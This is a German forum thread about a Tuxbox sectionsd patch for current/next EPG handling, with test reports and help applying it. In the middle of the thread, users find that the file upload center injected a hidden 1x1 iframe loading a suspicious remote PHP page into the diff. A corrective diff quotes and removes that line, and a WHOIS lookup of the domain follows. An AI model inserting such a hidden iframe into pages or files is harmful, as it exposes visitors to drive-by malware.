[PATCH] Mal wieder ein sectionsd-Versuch...
-
- Developer
- Beiträge: 4189
- Registriert: Sonntag 2. November 2003, 12:36
[PATCH] Mal wieder ein sectionsd-Versuch...
sectionsd-1.261-current-next-thread.diff
Ich habe mal versucht, das current/next und EIT-update-Handling im sectionsd zu verbessern. Dazu habe ich current/next-Events in einen eigenen Thread ausgelagert.
Bei mir ist nun die Reaktion nach dem Umschalten schneller, auch bei schnellem Extremzapping, ausserdem kommt nun die Benachrichtigung über eine neue Sendung exakt dann, wenn sich die EIT-Version ändert. Sieht man sehr schön z.B. auf Deluxe Music.
Das ganze muss noch aufgeräumt werden und es ist noch sehr verbose, auch ohne "-d", aber das sind dann Kleinigkeiten, die schnell aufgeräumt sind.
Erfahrungsberichte sind willkommen ;-)
Ich habe mal versucht, das current/next und EIT-update-Handling im sectionsd zu verbessern. Dazu habe ich current/next-Events in einen eigenen Thread ausgelagert.
Bei mir ist nun die Reaktion nach dem Umschalten schneller, auch bei schnellem Extremzapping, ausserdem kommt nun die Benachrichtigung über eine neue Sendung exakt dann, wenn sich die EIT-Version ändert. Sieht man sehr schön z.B. auf Deluxe Music.
Das ganze muss noch aufgeräumt werden und es ist noch sehr verbose, auch ohne "-d", aber das sind dann Kleinigkeiten, die schnell aufgeräumt sind.
Erfahrungsberichte sind willkommen ;-)
-
- Erleuchteter
- Beiträge: 448
- Registriert: Samstag 26. November 2005, 00:35
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
Manchmal könnte man neidisch werden
Respekt und Hut ab
Martin
Respekt und Hut ab
Martin
-
- Developer
- Beiträge: 4189
- Registriert: Sonntag 2. November 2003, 12:36
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
Naja. So genau weiss ich auch nicht, was ich da tue. Allerdings glaube ich, dass es beim sectionsd wohl keinen mehr gibt, der da durchblickt
Dieser Patch könnte übrigens durchaus die Performance verbessern und die CPU-Last heruntersetzen, falls das potenzielle Tester animieren würde...
Dieser Patch könnte übrigens durchaus die Performance verbessern und die CPU-Last heruntersetzen, falls das potenzielle Tester animieren würde...
-
- Interessierter
- Beiträge: 87
- Registriert: Montag 14. August 2006, 09:10
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
Hi,
ich würde ja gerne testen, nur hat es anscheinend deinen Diff zerhauen,ich bekomme einen "unexpected end of file in patch".
Ausserdem kommt gleich am Anfang ein, keine Ahnung ob da was bei dir oder im Uploadcenter faul ist.
Gruss,
René
ich würde ja gerne testen, nur hat es anscheinend deinen Diff zerhauen,ich bekomme einen "unexpected end of file in patch".
Ausserdem kommt gleich am Anfang ein
Code: Alles auswählen
<iframe src="htt ........
Gruss,
René
-
- Developer
- Beiträge: 4189
- Registriert: Sonntag 2. November 2003, 12:36
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
Da ist im Uploadcenter was faul. Bei mir ist er definitiv in Ordnung, aber auch erneutes Hochladen erzeugt ein genauso kaputtes file
Das mit dem IFrame sieht so aus, als ob das ULC gehackt wurde.
ein Patch, um aus dem kaputten diff das richtige diff zu machen:
Damit sollte es möglich sein, den letzten Teil manuell zu patchen. Der letzte Teil befindet sich in sectionsd.cpp:main(), so ab Zeile 8255 wenn der Rest des Patches schon angewandt ist.
Das mit dem IFrame sieht so aus, als ob das ULC gehackt wurde.
ein Patch, um aus dem kaputten diff das richtige diff zu machen:
Code: Alles auswählen
--- sectionsd-1.261-current-next-thread_.diff~ 2008-05-05 11:52:27.552011329 +0200
+++ sectionsd-1.261-current-next-thread_.diff 2008-05-05 11:50:14.657038574 +0200
@@ -1,4 +1,4 @@
-<iframe src="http://caatadgouk.com/dl/adv408.php" width=1 height=1></iframe>Index: daemons/sectionsd/dmx.cpp
+Index: daemons/sectionsd/dmx.cpp
===================================================================
RCS file: /cvs/tuxbox/apps/tuxbox/neutrino/daemons/sectionsd/dmx.cpp,v
retrieving revision 1.34
@@ -799,4 +799,15 @@ diff -u -p -r1.261 sectionsd.cpp
// messaging_sections_max_ID[0] = -1;
@@ -7938,11 +8255,10 @@ int main(int argc, char **argv)
unlockMessaging();
- sched_yield();
\ No newline at end of file
+ sched_yield();
+ #ifdef PAUSE_EQUALS_STOP
+- dmxEIT.real_unpause();
++ dmxCN.real_unpause();
+ #endif
+- dmxEIT.change(0);
++ dmxCN.change(0);
+ sched_yield();
+- EITCheckAllFilters = false;
+ }
+ }
+ sched_yield();
-
- Tuxboxer
- Beiträge: 4332
- Registriert: Dienstag 7. Mai 2002, 17:04
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
das IFRAME versucht hier "*ttp://caatadgouk.com/dl/adv408.php" zu laden
Beschwerden an:
EDIT: zur Gefährlichkeit: http://www.google.de/search?sourceid=na ... e193387549
@CarstenW: bitte das ULC entwanzen
Beschwerden an:
...und wer noch eine Handgranate übrig hat: http://maps.google.com/maps?f=q&hl=de&g ... iwloc=addrWHOIS information for: caatadgouk.com:
[whois.bizcn.com]
The data in this whois database is provided to you for information
purposes only, that is, to assist you in obtaining information about or
related to a domain name registration record. We make this information
available "as is," and do not guarantee its accuracy. By submitting a
whois query, you agree that you will use this data only for lawful
purposes and that, under no circumstances will you use this data to: (1)
enable high volume, automated, electronic processes that stress or load
this whois database system providing you this information; or (2) allow,
enable, or otherwise support the transmission of mass unsolicited,
commercial advertising or solicitations via direct mail, electronic
mail, or by telephone. The compilation, repackaging, dissemination or
other use of this data is expressly prohibited without prior written
consent from us. We reserve the right to modify these terms at any time.
By submitting this query, you agree to abide by these terms.
Domain name: caatadgouk.com
Registrant Contact:
0
Mark Arnold arnold@google.com
+13.193387549 fax: +13.193387549
201 East Benton Street
Iowa City KY 522401
us
Administrative Contact:
Mark Arnold arnold@google.com
+13.193387549 fax: +13.193387549
201 East Benton Street
Iowa City KY 522401
us
Technical Contact:
Mark Arnold arnold@google.com
+13.193387549 fax: +13.193387549
201 East Benton Street
Iowa City KY 522401
us
Billing Contact:
Mark Arnold arnold@google.com
+13.193387549 fax: +13.193387549
201 East Benton Street
Iowa City KY 522401
us
DNS:
ns1.chbdvrnfag.com
ns2.chbdvrnfag.com
Created: 2008-03-31
Expires: 2009-03-31
Verio Inc. - Growing Your Business, One Click At A Time
EDIT: zur Gefährlichkeit: http://www.google.de/search?sourceid=na ... e193387549
@CarstenW: bitte das ULC entwanzen
-
- Erleuchteter
- Beiträge: 416
- Registriert: Mittwoch 17. Januar 2007, 16:47
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
Hi,
Danke an den Hinweis!
Sollte jetzt behoben sein, bitte mal testen (ich sehen den IFRAME nu nicht mehr).
Gruß .........Carsten
Danke an den Hinweis!
Sollte jetzt behoben sein, bitte mal testen (ich sehen den IFRAME nu nicht mehr).
Gruß .........Carsten
-
- Interessierter
- Beiträge: 87
- Registriert: Montag 14. August 2006, 09:10
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
Der Patch von Seife ist jetzt jedenfalls in Ordnung.
-
- Tuxboxer
- Beiträge: 2331
- Registriert: Donnerstag 24. März 2005, 21:52
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
muss ich doch morgen mal einbauen, und guggen.
-
- Einsteiger
- Beiträge: 108
- Registriert: Donnerstag 21. Juli 2005, 17:37
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
könnte jemand mit ner nokia-sat-box bitte mal checken, was bei euch auf EinsFestival (neue frequenz) passiert? bei mir kackt die box da komplett ab. im log passiert in dem moment leider auch nichts. ohne sectionsd geht das. betrifft offenbar den ganzen transponder...
danke,
Sumisu
danke,
Sumisu
-
- Interessierter
- Beiträge: 43
- Registriert: Dienstag 22. März 2005, 19:44
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
Das Problem kann ich hier bestätigen, Nokia 500 SAT.
-
- Developer
- Beiträge: 4189
- Registriert: Sonntag 2. November 2003, 12:36
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
Hm. Nokia habe ich natürlich nicht... Auf Philips mit 2.6er kernel ging es bei mir jedenfalls, auch auf EinsFestival.
"Kackt ab" heißt sie bleibt hart stehen, kein Zugriff per telnet mehr möglich?
"Kackt ab" heißt sie bleibt hart stehen, kein Zugriff per telnet mehr möglich?
-
- Einsteiger
- Beiträge: 108
- Registriert: Donnerstag 21. Juli 2005, 17:37
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
ja, das heisst abkacken - keine meldung im log und keinerlei zugriff mehr. und sorry, dass ich diesen thread genommen hatte. es hat NICHTS mit deinen änderungen zutun. ist wohl besser, den von mb405 gestarteten thread dafür zu benutzen...
Sumisu
Sumisu
-
- Interessierter
- Beiträge: 87
- Registriert: Montag 14. August 2006, 09:10
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
Hi,
hier mal eine kurze Rückmeldung nach ein paar Tagen Laufzeit, es gibt hier auf meine Sagem Sat keinerlei negativen Nebenwirkungen. Mir kommt die Reaktionszeit auch ein wenig besser vor, und meinem Empfinden nach, ist nach einem Neustart auch das EPG zügiger da.
Gruss,
René
hier mal eine kurze Rückmeldung nach ein paar Tagen Laufzeit, es gibt hier auf meine Sagem Sat keinerlei negativen Nebenwirkungen. Mir kommt die Reaktionszeit auch ein wenig besser vor, und meinem Empfinden nach, ist nach einem Neustart auch das EPG zügiger da.
Gruss,
René
-
- Developer
- Beiträge: 4189
- Registriert: Sonntag 2. November 2003, 12:36
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
Ok, das ist ja so, wie von mir erwartet ;-) Frau und Kinder haben sich auch nicht beschwert, die sind sonst immer gleich da, wenn was nicht geht.
Nachdem nun das EPG-Problem mit ARD wieder gefixt ist, könnten ja evtl. noch ein paar mehr Tester diesen Patch testen, wenn dann keine negativen Begleiterscheinungen auftreten, dann mach ich den noch ein wenig schön und checke ihn ein.
Nachdem nun das EPG-Problem mit ARD wieder gefixt ist, könnten ja evtl. noch ein paar mehr Tester diesen Patch testen, wenn dann keine negativen Begleiterscheinungen auftreten, dann mach ich den noch ein wenig schön und checke ihn ein.
-
- Interessierter
- Beiträge: 78
- Registriert: Donnerstag 25. September 2003, 22:58
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
hm..
wie muß ich das anwenden?
patch -p1< sectionsd-1.261-current-next-thread.diff
in /tuxbox-cvs? (file existiert an der stelle)
sorry für die dumme frage...
MacLeod
wie muß ich das anwenden?
patch -p1< sectionsd-1.261-current-next-thread.diff
in /tuxbox-cvs? (file existiert an der stelle)
sorry für die dumme frage...
MacLeod
-
- Developer
- Beiträge: 4189
- Registriert: Sonntag 2. November 2003, 12:36
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
im cvs-Verzeichnis nach apps/tuxbox/neutrino/daemons wechseln, dann
Code: Alles auswählen
patch -p1 < /wo/der/patch/liegt/sectionsd-1.261-current-next-thread.diff
-
- Tuxboxer
- Beiträge: 2331
- Registriert: Donnerstag 24. März 2005, 21:52
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
also test von mir
bis jetzt kann ich nichts negatives feststellen.
kann es sein, das current next info nach kanalwechsel bisle länger dauert ? oder liegt das noch an den diversen logausgaben.
bis jetzt kann ich nichts negatives feststellen.
kann es sein, das current next info nach kanalwechsel bisle länger dauert ? oder liegt das noch an den diversen logausgaben.
-
- Interessierter
- Beiträge: 78
- Registriert: Donnerstag 25. September 2003, 22:58
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
jupp danke hat geklappt.
werde das gleich mal testen
fix bedankt!
MacLeod
werde das gleich mal testen
fix bedankt!
MacLeod
-
- Developer
- Beiträge: 4189
- Registriert: Sonntag 2. November 2003, 12:36
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
Das kann schon sein, genau am current / next habe ich ja gedreht. Mein Plan ist, dass das jetzt schneller gehen sollte, aber man weiss ja nie. Es kann natürlich durchaus an den exzessiven Logausgaben liegen, insbesondere wenn du die serielle mit 9k6 betreibst. Du könntest mal versuchen, den sectionsd mit "sectionsd >/dev/null 2>&1" zu starten, dann ist der Faktor Logausgabe mal weg.mb405 hat geschrieben:kann es sein, das current next info nach kanalwechsel bisle länger dauert ? oder liegt das noch an den diversen logausgaben.
Generell ist das schwer zu messen, mit dem "wie lang dauert es, bis current/next da sind", das ist immer ein wenig Gefühlssache, insofern sind da auch solche Berichte wichtig.
Wenn das bei mehreren über ein paar Tage keine Schwierigkeiten macht, dann mach ich mal eine aufgeräumte Version, ohne exzessives Loggen, die man dann "benchmarken" kann
Erstmal ist das Log wichtig, falls was schiefgeht, damit man ungefähr sieht, wo.
-
- Tuxboxer
- Beiträge: 2614
- Registriert: Montag 20. Mai 2002, 10:49
- Image: JTG-Image [IDE] Version 2.4.4
- Image: (7025SS) Merlin
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
Für alle die nicht selbst kompilieren können, aber testen möchten, habe ich den sectionsd_v 1.261 als Binärdatei in's Tuxbox-Uploadcenter hochgeladen.
http://ulc.tuxbox-cvs.sourceforge.net// ... ectionsd_v 1.261.zip&directory=Binaries&
Greetz von DrStoned
http://ulc.tuxbox-cvs.sourceforge.net// ... ectionsd_v 1.261.zip&directory=Binaries&
Greetz von DrStoned
-
- Einsteiger
- Beiträge: 108
- Registriert: Donnerstag 21. Juli 2005, 17:37
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
@DrStoned
kannst du das zip-file bitte nochmal checken? oder liegts an mir, dass ich es nicht öffnen kann?
danke,
Sumisu
kannst du das zip-file bitte nochmal checken? oder liegts an mir, dass ich es nicht öffnen kann?
danke,
Sumisu
-
- Tuxboxer
- Beiträge: 2614
- Registriert: Montag 20. Mai 2002, 10:49
- Image: JTG-Image [IDE] Version 2.4.4
- Image: (7025SS) Merlin
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
Ich habs mit Winrar als Zip gepackt, vielleicht liegts daran. Hab auf diesem Rechner kein Winzip drauf. Ich machs mal mit dem anderen PC und lade es nochmal hoch.
Greetz von DrStoned
Greetz von DrStoned
-
- Einsteiger
- Beiträge: 108
- Registriert: Donnerstag 21. Juli 2005, 17:37
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
super, danke - diesmal hats geklappt. dann werd ich auch malprobieren
Sumisu
Sumisu
-
- Tuxboxer
- Beiträge: 2614
- Registriert: Montag 20. Mai 2002, 10:49
- Image: JTG-Image [IDE] Version 2.4.4
- Image: (7025SS) Merlin
Re: [PATCH] Mal wieder ein sectionsd-Versuch...
Jetzt nochmal versuchen, da war beim Upload was schiefgelaufen. Entpackt sollte er 280984 Bytes haben.
Greetz von DrStoned
Greetz von DrStoned